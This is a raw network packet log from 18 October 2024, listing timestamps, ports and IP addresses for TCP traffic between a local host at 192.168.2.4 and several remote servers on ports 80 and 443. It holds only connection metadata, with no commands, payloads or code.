Oct 18, 2024 15:04:56.408605099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408623934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408634901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408634901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408634901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408643007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408660889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408678055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408694983 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:56.408751011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.408751011 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.448216915 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.610904932 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.611515045 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:56.831028938 CEST	80	50046	185.215.113.43	192.168.2.4
Oct 18, 2024 15:04:56.833868980 CEST	50046	80	192.168.2.4	185.215.113.43
Oct 18, 2024 15:04:57.163516998 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.163554907 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.163621902 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.164033890 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.164046049 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.261957884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.266777992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542367935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542399883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542414904 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542437077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542458057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542468071 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.542491913 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.542685986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542701960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542717934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542732000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542747974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542762995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542778969 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542785883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.542785883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.542785883 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.542794943 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.542874098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.544898033 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.545010090 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662237883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662271976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662287951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662307978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662385941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662401915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662417889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662437916 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662455082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662455082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662455082 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662486076 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662507057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662523031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662540913 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662556887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662574053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662581921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662606001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662622929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662642002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662678003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662679911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662698030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662714005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662761927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662761927 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662769079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662786007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662801981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662849903 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662887096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662904978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662919998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662946939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.662947893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.662967920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.663099051 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.665889978 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783133030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783277035 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783292055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783366919 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783432007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783447027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783463001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783478975 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783493996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783515930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783515930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783584118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783587933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783598900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783616066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783629894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783713102 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783713102 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783761024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783776999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783792973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783807993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783823967 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783838034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783853054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783863068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783863068 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783893108 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.783921003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.783936977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784097910 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784116030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784131050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784182072 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784415960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784430981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784450054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784473896 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784534931 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784571886 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784588099 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784601927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784617901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784635067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784648895 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784648895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784676075 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784693956 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784729004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784744978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784759998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784787893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784883976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784902096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784914970 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784930944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784946918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.784950972 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.784950972 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785010099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785041094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785059929 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785074949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785092115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785105944 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785123110 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785181046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785181046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785181046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785212040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785228014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785243034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785283089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.785468102 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785482883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.785579920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.793032885 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.793104887 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.795770884 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.795804024 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.796035051 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.817291975 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.820790052 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.820837021 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.820980072 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.821027040 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.821180105 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.821222067 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.821396112 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.821453094 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.821943998 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.822016001 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.823359013 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.823416948 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.823436022 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.823448896 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.823646069 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.823703051 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.823745966 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.823853970 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.823919058 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.830668926 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.830893040 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.830938101 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.830990076 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.831049919 CEST	50047	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:57.833101988 CEST	443	50047	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:57.838846922 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.901942015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.901957989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.901972055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.901987076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902002096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902029991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902045012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902060986 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902067900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902107000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902122021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902139902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902157068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902185917 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902199030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902214050 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902230978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902262926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902295113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902306080 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902321100 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902337074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902375937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902375937 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902388096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902494907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902510881 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902544975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902637959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902652979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902667046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902687073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902688980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902702093 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902705908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902721882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902735949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902767897 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902780056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902791977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902806997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902821064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902843952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902859926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902892113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902892113 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902898073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902951002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902966022 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.902980089 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.902981043 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903033972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903048992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903050900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903084040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903120995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903143883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903179884 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903213978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903229952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903244019 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903292894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903292894 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903412104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903425932 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903439999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903455973 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903471947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903477907 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903497934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903512955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903513908 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903529882 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903558016 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903585911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903599977 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903611898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903629065 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903644085 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903659105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903666019 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903675079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903691053 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903707981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903724909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903731108 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903822899 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903839111 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903853893 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903871059 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903888941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903906107 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903923988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903923988 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.903948069 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903964996 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903980017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.903987885 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904047012 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904150009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904165030 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904185057 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904198885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904222012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904237032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904252052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904270887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904293060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904293060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904293060 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904325008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904340982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904346943 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904500961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904516935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904532909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904550076 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904561043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904561043 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904567003 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904586077 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904589891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904606104 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904630899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904863119 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904877901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904892921 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904927969 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904934883 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904951096 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.904951096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904967070 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.904987097 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:57.905180931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905194998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905210018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:57.905236006 CEST	50042	80	192.168.2.4	185.215.113.103
